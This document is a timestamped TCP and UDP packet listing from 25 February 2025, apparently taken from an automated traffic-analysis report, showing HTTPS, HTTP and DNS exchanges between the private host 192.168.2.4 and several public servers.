Feb 25, 2025 15:37:24.263571024 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.264358044 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.264391899 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.264403105 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.264406919 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.264441967 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.264787912 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.280566931 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.280606031 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.280622005 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.280628920 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.280668020 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.280668974 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.280678034 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.280724049 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.280725002 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.280734062 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.280762911 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.280769110 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.282032013 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.282062054 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.282080889 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.282085896 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.282124043 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.332096100 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.332155943 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.332201004 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.332210064 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.351457119 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.351499081 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.351527929 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.351531982 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.351542950 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.351572990 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.351589918 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.351619005 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.351624966 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.351630926 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.351659060 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.353636980 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.353646994 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.353693008 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.353735924 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.353744030 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.353758097 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.353785992 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.367398977 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.367449045 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.367472887 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.367479086 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.367492914 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.367508888 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.367532969 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.367928982 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.367939949 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.585016012 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.585346937 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.585376024 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.586396933 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.586467981 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.586827040 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.586898088 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.586956978 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.586966038 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.621913910 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.622277975 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.622299910 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.623385906 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.623461008 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.624588966 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.624689102 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.624906063 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.624912977 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.629880905 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.676827908 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.735475063 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.735543013 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.735578060 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.735606909 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.735619068 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.735634089 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.735661030 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.735698938 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.735737085 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.735738039 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.735749006 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.735785961 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.735800028 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.740442038 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.740478992 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.740552902 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.740577936 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.740606070 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.740624905 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.787545919 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.843101978 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.843180895 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.843218088 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.843257904 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.843281984 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.843321085 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.843628883 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.843697071 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.843728065 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.843728065 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.843740940 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.843766928 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.843775034 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.844520092 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.844551086 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.844552040 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.844563961 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.844594955 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.844604015 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.844669104 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.844697952 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.844703913 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.844715118 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.844746113 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.845412970 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.845484018 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.845514059 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.845520973 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.845602989 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.845633030 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.845633984 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.845644951 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.845679045 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.846435070 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.846528053 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.846565008 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.890510082 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.890609026 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.890667915 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.900249004 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.900271893 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.906208992 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.906228065 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.938354015 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:24.938369036 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:24.938479900 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:24.938719988 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:24.938733101 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:25.194900036 CET	80	49724	217.20.57.18	192.168.2.4
Feb 25, 2025 15:37:25.195060968 CET	49724	80	192.168.2.4	217.20.57.18
Feb 25, 2025 15:37:25.243093014 CET	49724	80	192.168.2.4	217.20.57.18
Feb 25, 2025 15:37:25.248028040 CET	80	49724	217.20.57.18	192.168.2.4
Feb 25, 2025 15:37:25.395612001 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:25.395988941 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:25.396007061 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:25.397015095 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:25.397073984 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:25.397818089 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:25.397881985 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:25.398185968 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:25.398195028 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:25.441313982 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:25.647300959 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:25.647394896 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:25.647443056 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:25.648287058 CET	49778	443	192.168.2.4	104.16.4.189
Feb 25, 2025 15:37:25.648307085 CET	443	49778	104.16.4.189	192.168.2.4
Feb 25, 2025 15:37:35.758368015 CET	49779	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:35.758380890 CET	443	49779	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:35.758446932 CET	49779	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:35.758953094 CET	49779	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:35.758966923 CET	443	49779	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.224260092 CET	443	49779	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.261779070 CET	49779	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.261801958 CET	443	49779	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.263122082 CET	443	49779	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.263206005 CET	49779	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.269562960 CET	49779	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.269581079 CET	49779	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.269629002 CET	49779	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.269715071 CET	443	49779	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.269989014 CET	443	49779	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.270032883 CET	49779	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.272829056 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.272887945 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.272950888 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.273317099 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.273332119 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.732240915 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.732940912 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.732980967 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.734095097 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.734178066 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.735655069 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.735749960 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.735945940 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.735956907 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:36.785052061 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:36.912565947 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:36.912647009 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:36.912766933 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:37.591912985 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:37.592031956 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:37.592102051 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:37.593149900 CET	49780	443	192.168.2.4	188.114.97.3
Feb 25, 2025 15:37:37.593173981 CET	443	49780	188.114.97.3	192.168.2.4
Feb 25, 2025 15:37:37.596486092 CET	49769	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:37.596518993 CET	443	49769	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:37.632411957 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:37.632447958 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:37.632524014 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:37.632848978 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:37.632863045 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:38.106770039 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:38.107234955 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:38.107253075 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:38.110865116 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:38.110970974 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:38.111586094 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:38.111763954 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:38.111769915 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:38.155343056 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:38.159303904 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:38.159338951 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:38.206279039 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:38.922089100 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:38.922472954 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:38.922549009 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:38.990628958 CET	49782	443	192.168.2.4	188.114.96.3
Feb 25, 2025 15:37:38.990669012 CET	443	49782	188.114.96.3	192.168.2.4
Feb 25, 2025 15:37:46.512923956 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.512978077 CET	443	49784	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:46.513062954 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.513406992 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.513423920 CET	443	49784	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:46.966448069 CET	443	49784	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:46.966923952 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.966950893 CET	443	49784	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:46.968027115 CET	443	49784	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:46.968099117 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.968693972 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.968727112 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.968751907 CET	443	49784	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:46.968796968 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.968806982 CET	443	49784	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:46.968816996 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.968873024 CET	49784	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.969301939 CET	49785	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.969350100 CET	443	49785	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:46.969441891 CET	49785	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.969748020 CET	49785	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:46.969759941 CET	443	49785	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:47.443249941 CET	443	49785	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:47.443627119 CET	49785	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:47.443645954 CET	443	49785	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:47.444236994 CET	443	49785	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:47.444834948 CET	49785	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:47.444933891 CET	443	49785	104.21.71.57	192.168.2.4
Feb 25, 2025 15:37:47.487344980 CET	49785	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:37:48.303483009 CET	61068	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:48.308532000 CET	53	61068	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:48.308624983 CET	61068	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:48.316148996 CET	53	61068	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:48.778296947 CET	61068	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:48.783646107 CET	53	61068	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:48.783716917 CET	61068	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:49.941467047 CET	49743	443	192.168.2.4	129.22.108.26
Feb 25, 2025 15:37:49.941502094 CET	443	49743	129.22.108.26	192.168.2.4
Feb 25, 2025 15:38:00.348123074 CET	56999	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:38:00.353081942 CET	53	56999	1.1.1.1	192.168.2.4
Feb 25, 2025 15:38:00.353147030 CET	56999	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:38:00.358225107 CET	53	56999	1.1.1.1	192.168.2.4
Feb 25, 2025 15:38:00.806782007 CET	56999	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:38:00.812052965 CET	53	56999	1.1.1.1	192.168.2.4
Feb 25, 2025 15:38:00.812138081 CET	56999	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:38:02.006165028 CET	57009	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:38:02.006226063 CET	443	57009	172.217.16.196	192.168.2.4
Feb 25, 2025 15:38:02.006294012 CET	57009	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:38:02.006587982 CET	57009	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:38:02.006602049 CET	443	57009	172.217.16.196	192.168.2.4
Feb 25, 2025 15:38:02.341680050 CET	443	49785	104.21.71.57	192.168.2.4
Feb 25, 2025 15:38:02.341768026 CET	443	49785	104.21.71.57	192.168.2.4
Feb 25, 2025 15:38:02.341952085 CET	49785	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:38:02.633852959 CET	443	57009	172.217.16.196	192.168.2.4
Feb 25, 2025 15:38:02.634249926 CET	57009	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:38:02.634278059 CET	443	57009	172.217.16.196	192.168.2.4
Feb 25, 2025 15:38:02.634617090 CET	443	57009	172.217.16.196	192.168.2.4
Feb 25, 2025 15:38:02.634953976 CET	57009	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:38:02.635021925 CET	443	57009	172.217.16.196	192.168.2.4
Feb 25, 2025 15:38:02.676625967 CET	57009	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:38:04.069252968 CET	49785	443	192.168.2.4	104.21.71.57
Feb 25, 2025 15:38:04.069267988 CET	443	49785	104.21.71.57	192.168.2.4
Feb 25, 2025 15:38:06.069155931 CET	49743	443	192.168.2.4	129.22.108.26
Feb 25, 2025 15:38:06.069273949 CET	443	49743	129.22.108.26	192.168.2.4
Feb 25, 2025 15:38:06.069354057 CET	49743	443	192.168.2.4	129.22.108.26
Feb 25, 2025 15:38:12.551600933 CET	443	57009	172.217.16.196	192.168.2.4
Feb 25, 2025 15:38:12.551676989 CET	443	57009	172.217.16.196	192.168.2.4
Feb 25, 2025 15:38:12.551728964 CET	57009	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:38:14.075824022 CET	57009	443	192.168.2.4	172.217.16.196
Feb 25, 2025 15:38:14.075862885 CET	443	57009	172.217.16.196	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 25, 2025 15:36:57.709626913 CET	53	53793	1.1.1.1	192.168.2.4
Feb 25, 2025 15:36:57.756128073 CET	53	57097	1.1.1.1	192.168.2.4
Feb 25, 2025 15:36:58.834156990 CET	53	51852	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:01.942970991 CET	61984	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:01.943094015 CET	57340	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:01.950723886 CET	53	57340	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:01.950735092 CET	53	61984	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:03.780076027 CET	56525	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:03.780708075 CET	51930	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:04.245876074 CET	53	56525	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:04.257025957 CET	53	51930	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:05.015275955 CET	57943	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:05.015475988 CET	60316	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:05.046389103 CET	53	60316	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:05.054817915 CET	53	57943	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:09.834855080 CET	52318	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:09.835623026 CET	63898	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:09.837034941 CET	64330	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:09.837234974 CET	51017	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:09.847053051 CET	53	64330	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:09.860795975 CET	53	63898	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:09.867244959 CET	53	52318	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:09.878364086 CET	53	51017	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:11.045422077 CET	138	138	192.168.2.4	192.168.2.255
Feb 25, 2025 15:37:11.504473925 CET	64008	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:11.504734039 CET	61127	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:11.519450903 CET	53	61127	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:11.524322987 CET	53	64008	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:15.777224064 CET	53	53607	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:21.049731016 CET	53466	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:21.049982071 CET	53997	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:21.064321995 CET	53	53466	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:21.065965891 CET	53	53997	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:22.717226028 CET	54747	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:22.717372894 CET	54823	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:22.717793941 CET	60232	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:22.717914104 CET	55091	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:22.718302011 CET	55781	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:22.718446016 CET	57683	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:22.725148916 CET	53	54823	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:22.725477934 CET	53	54747	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:22.725545883 CET	53	60232	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:22.725873947 CET	53	55091	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:22.726150036 CET	53	57683	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:22.726866007 CET	53	55781	1.1.1.1	192.168.2.4
